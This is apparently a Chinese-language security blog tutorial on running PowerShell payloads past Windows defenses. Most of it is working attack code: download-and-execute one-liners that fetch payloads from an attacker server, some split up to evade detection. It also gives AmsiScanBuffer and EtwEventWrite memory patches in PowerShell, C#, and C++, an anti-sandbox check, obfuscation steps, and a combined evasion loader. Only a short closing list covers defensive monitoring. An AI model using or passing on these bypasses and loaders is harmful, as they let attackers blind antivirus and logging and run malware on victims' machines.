PowerShell的AMSI和Etw绕过
字数 1620 2025-09-01 11:25:54
PowerShell的AMSI和ETW绕过技术详解
1. PowerShell基础与上线技术
1.1 PowerShell简介
PowerShell是微软开发的跨平台(Windows、Linux和macOS)自动化工具和配置框架,包含:
- 命令行shell
- 脚本语言
- 配置管理框架
- 基于.NET框架构建,具有强大功能和灵活性
1.2 PowerShell上线方式
1.2.1 有文件上线
- 生成PowerShell脚本文件
- 临时允许脚本运行:
powershell -ExecutionPolicy Bypass -File "C:\path\to\payload.ps1" - 如果提示"禁止运行脚本",调整执行策略:
Set-ExecutionPolicy Bypass -Scope Process -Force .\payload.ps1
1.2.2 无文件上线
使用Web投递方式:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://attacker-server/payload'))"
1.3 PowerShell免杀技术
1.3.1 混淆技术
-
Invoke-Obfuscation工具:
set scriptpath payload.ps1 token all 1 out obfuscated.ps1 -
AES加密:
Import-Module ./AES-Encoder.ps1 Invoke-AES-Encoder -InFile .\payload.ps1 -OutFile encrypted.ps1 -Iterations 5 -
变量名和函数名替换:
- 修改原始脚本中的函数名和变量名
- 使用不常见的命名方式
1.3.2 编码技术
-
Base64编码:
$DoIt = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($EncodedData)) -
Byte数组转换:
[Byte[]]$var_code = [System.Convert]::FromBase64String('base64-shellcode') -
命令拆分变体:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19'+'2.168.1.1'+'/payload'))"
2. AMSI绕过技术
2.1 AMSI简介
反恶意软件扫描接口(AMSI)是微软开发的接口标准,用于:
- 扫描内存、流、文件和缓冲区中的恶意内容
- 提供运行时恶意软件检测
- 特别关注脚本解释器(PowerShell, VBScript, JScript等)执行的内容
2.2 AMSI检测范围
- PowerShell脚本和执行
- VBScript/JScript执行
- Office宏
- .NET程序集加载
- Windows Script Host (wscript/cscript)
- JavaScript/UWP应用
- 动态代码生成(如通过Reflection.Emit)
2.3 AMSI绕过方法
2.3.1 内存修补技术
修补amsi.dll中的AmsiScanBuffer函数:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
2.3.2 替代实现方式
function get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
# 函数实现...
}
function get_proc_address {
Param ($var_module, $var_procedure)
# 函数实现...
}
function Invoke-AMZZ {
$ppruhu = get_proc_address amsi.dll "AmsiScanBuffer"
$virpro = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(get_proc_address kernel32.dll VirtualProtect),
(get_delegate_type @([System.IntPtr], [System.UIntPtr], [System.UInt32], [System.UInt32].MakeByRefType()) ([System.Boolean]))
)
$p = 0
$virpro.Invoke($ppruhu, [UInt32]5, 0x40, [ref]$p)
$scnfh = @([Byte] 0xB8, [Byte] 0x57, [Byte] 0x00,[Byte] 0x07, [Byte] 0x80, [Byte] 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($scnfh, 0, $ppruhu, 6)
IEX ((new-object net.webclient).downloadstring('http://attacker/payload'))
}
Invoke-AMZZ
2.4 C#实现AMSI绕过
using System;
using System.Runtime.InteropServices;
using System.Text;
class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void BypassAMSI()
{
string base64Encoded = "YW1zaS5kbGw="; // "amsi.dll"的Base64
string libraryName = Encoding.UTF8.GetString(Convert.FromBase64String(base64Encoded));
IntPtr Library = LoadLibrary(libraryName);
string base64Encoded1 = "QW1zaVNjYW5CdWZmZXI="; // "AmsiScanBuffer"的Base64
string functionName = Encoding.UTF8.GetString(Convert.FromBase64String(base64Encoded1));
IntPtr Address = GetProcAddress(Library, functionName);
uint p;
VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(Patch, 0, Address, 6);
}
}
3. ETW绕过技术
3.1 ETW简介
Windows事件跟踪(ETW)提供机制来:
- 跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件
- 提供来自内核的跟踪
- 常用于EDR产品检测.NET恶意执行
3.2 ETW绕过方法
3.2.1 C++实现ETW绕过
#include <Windows.h>
#include <Tlhelp32.h>
int main()
{
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
// 创建挂起的PowerShell进程
CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 获取EtwEventWrite地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
// 修改内存保护属性
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
// 将第一个字节改为0xc3 (ret指令)
char patch = 0xc3;
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
// 恢复内存保护属性并继续进程
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
3.2.2 C#实现ETW绕过
public static void BypassETW()
{
try
{
IntPtr Library = LoadLibrary("n" + "t" + "d" + "l" + "l" + ".dll");
IntPtr Address = GetProcAddress(Library, "Etw" + "Event" + "Write");
uint oldProtect;
bool protectResult = VirtualProtect(Address, (UIntPtr)1, 0x40, out oldProtect);
Byte[] Patch = { 0xC3 }; // RET 指令
Marshal.Copy(Patch, 0, Address, Patch.Length);
}
catch (Exception ex)
{
Console.WriteLine("Exception occurred: " + ex.Message);
}
}
4. 综合防御规避技术
4.1 抗沙箱技术
static void Main(String[] args)
{
// 反沙箱检测 - 检查进程数量
if (Process.GetProcesses().Length < 40)
{
Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
Environment.Exit(0);
}
// 其余代码...
}
4.2 综合C#加载器
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.Text;
namespace MyPowershell
{
class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void BypassAMSI()
{
// AMSI绕过实现...
}
public static void BypassETW()
{
// ETW绕过实现...
}
static void Main(String[] args)
{
if (args.Length == 0) Environment.Exit(1);
// 反沙箱检测
if (Process.GetProcesses().Length < 40)
{
Environment.Exit(0);
}
List<string> argsList = new List<string>(args);
// 根据参数执行绕过
if (argsList.Contains("-s")) { BypassAMSI(); argsList.Remove("-s"); }
if (argsList.Contains("-t")) { BypassETW(); argsList.Remove("-t"); }
// 执行PowerShell代码
string temp = Base64Decode(argsList[0]);
string s = RunScript(temp);
Console.WriteLine(s);
}
private static string RunScript(string script)
{
// PowerShell执行实现...
}
}
}
5. 实用工具与资源
-
混淆工具:
- Invoke-Obfuscation
- AES-Encoder (https://github.com/Chainski/AES-Encoder)
-
调试工具:
- Process Hacker
- x64dbg
-
开发工具:
- Visual Studio Code
- Windows PowerShell ISE
-
关键DLL路径:
- System.Management.Automation.dll:
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll - amsi.dll: 系统目录
- ntdll.dll: 系统目录
- System.Management.Automation.dll:
6. 防御建议
-
监控关键API调用:
- VirtualProtect/VirtualProtectEx
- WriteProcessMemory
- GetProcAddress/LoadLibrary
-
检测内存修补行为:
- 监控对amsi.dll和ntdll.dll的修改
- 检测对AmsiScanBuffer和EtwEventWrite的hook
-
增强日志记录:
- 启用PowerShell脚本块日志记录
- 监控.NET程序集加载行为
-
实施行为分析:
- 检测异常的PowerShell执行模式
- 监控进程创建和内存操作序列
-
更新防御机制:
- 定期更新AMSI签名
- 实施多层次的防御策略